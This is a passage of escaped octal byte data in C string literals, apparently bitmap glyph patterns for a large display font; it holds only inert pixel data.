\"@\\0\\0\\0\\0\\0\\0\\0\\0\\301\\367\\377\\377\\177\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\37\\177\\377\\377\\363\\301\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\177\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\20\\70|\\77\\37\\17\\7\\7\\17\\17\\37\\37\\37\\37\\37\\37\\17\\17\\7\\7\\17\\37>|\\70\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\300\\300@\\0\\0\\3\\7\\37\\177\\377\\376\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\377\\377\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\\374\\370\\340\\200\\0\\200\\340\\370\\376\\377\\177\\37\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\203\\207\\237\\377\\377\\376\\377\\377\\237\\207\\201\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\370|||||||x\\370\\370\\360\\340\\340\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\347\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\307\\357\\377\\377\\177\\77~||\\370\\370\\370\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0|\\377\\377\\377\\377\\363\\300\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\377\\377\\377\\377\\374\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37>>>||\\374\\370\\374\\377\\377\\347\\307\\203\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\307\\377\\377\\377\\377|\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37\\77>||||x||||>\\77\\37\\37\\17\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\370|\\36\\17\\7\\7\\203\\301\\341\\341\\340\\360\\360\\360\\360\\360\\360\\341\\341\\301\\203\\7\\7\\17\\36\"\n  \"|\\370\\360\\300\\377\\377\\7\\1\\0\\0\\360\\376\\377\\377\\17\\3\\1\\1\\0\\0\\0\\0\\0\\1\\1\\3\\17\\17\\17\\4\\0\\0\"\n  \"\\0\\1\\17\\377\\177\\377\\360\\200\\0\\0\\7\\37\\177\\377\\374\\360\\340\\300\\300\\300\\300\\300\\300\\300\\340\\340\\370\\360` \\0\\0\"\n  \"\\0\\300\\370\\377\\0\\1\\7\\17\\37<xp\\360\\340\\301\\303\\303\\203\\207\\207\\207\\207\\207\\207\\303\\303\\301\\340\\360px<\"\n  \"\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14>\\37\\17\\7\\7\\7\\7\\3\\3\\7\\7\\17\\37\\377\\376\\374\\360\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\370|<<\\34\\34\\34\\34\\34\\34\\34\\34\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177\\377\\370\\360\\340\\340\\300\\300\\340\\340\\340\\360x|\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\341\\341\\341\\341\\341\\341\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374~\\77\\37\\17\\6\\0\\0\\200\\300\\340\\360\\370\\374~\\77\\37\\17\\6\"\n  \"\\0\\0\\0\\0\\0\\0\\16\\37\\77\\177\\377\\373\\361\\340\\300\\200\\0\\0\\0\\16\\37\\77\\177\\377\\373\\361\\340\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\77~|\\70\\20\\0\\0\\0\\0\\1\\3\\7\\17\\77~|\\70\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<<<<<<<<\\374\\374\\374\\374\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0xxxxxxxxxxxxxxxxxxxxxxxxx\"\n  \"x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\370|\\36\\17\\7\\7\\343\\341\\341\\341\\340\\340\\340\\340\\340\\340\\340\\301\\301\\201\\3\\7\\7\\17\\36\"\n  \"|\\370\\360\\300\\377\\377\\7\\1\\0\\0\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\341\\343\\377\\177\\36\\0\\0\\0\\0\"\n  \"\\0\\1\\17\\377\\177\\377\\360\\300\\0\\0\\0\\0\\0\\377\\377\\377\\1\\1\\1\\1\\1\\3\\17\\77\\376\\370\\340\\200\\0\\0\\0\\0\"\n  \"\\0\\300\\370\\377\\0\\1\\7\\17\\37<xp\\360\\343\\303\\303\\300\\200\\200\\200\\200\\200\\200\\200\\300\\303\\303\\343\\360px<\"\n  \"\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\3\\3\\3\\3\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\17\\3\\1\\1\\1\\0\\1\\1\\1\\3\\17\\377\\377\\376\\370\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\77|\\370\\370\\370\\360\\370\\370\\370|\\177\\77\\37\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\377\\377\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\36\\77\\17\\7\\3\\3\\1\\1\\1\\1\\1\\3\\3\\217\\377\\377\\376\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370|~\\77\\37\\17\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\337\\317\\307\\303\\303\\301\\300\\300\\300\\300\\300\\300\\300\\300\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\17\\7\\3\\3\\1\\1\\1\\1\\1\\3\\3\\217\\377\\377\\376\\374\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\36\\37\\37\\77{\\373\\361\\360\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70<~\\374\\370\\360\\360\\340\\340\\340\\340\\340\\360\\360\\370\\374\\177\\77\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\376|\\34\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\17\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\177\\377\\376\\370\\340\\300\\300\\200\\200\\200\\200\\300\\300\\340\\360\\376\\177\\177\\377\\377\\377\\340\\200\\200\\200\"\n  \"\\300\\300\\360\\340\\377\\377\\377\\0\\0\\1\\3\\7\\7\\7\\7\\17\\7\\7\\7\\3\\3\\1\\0\\0\\0\\1\\3\\7\\7\\7\\17\\7\"\n  \"\\7\\7\\3\\1\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\370\\370\\370\\370\\370\\370xxxxxx\\370\\370\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\17\\17\\17\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  